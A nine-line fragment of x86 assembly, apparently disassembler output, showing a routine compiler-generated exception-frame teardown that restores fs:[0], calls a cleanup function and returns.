xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438b74
lea eax, [ebp - 4]
call fcn.00403f44
ret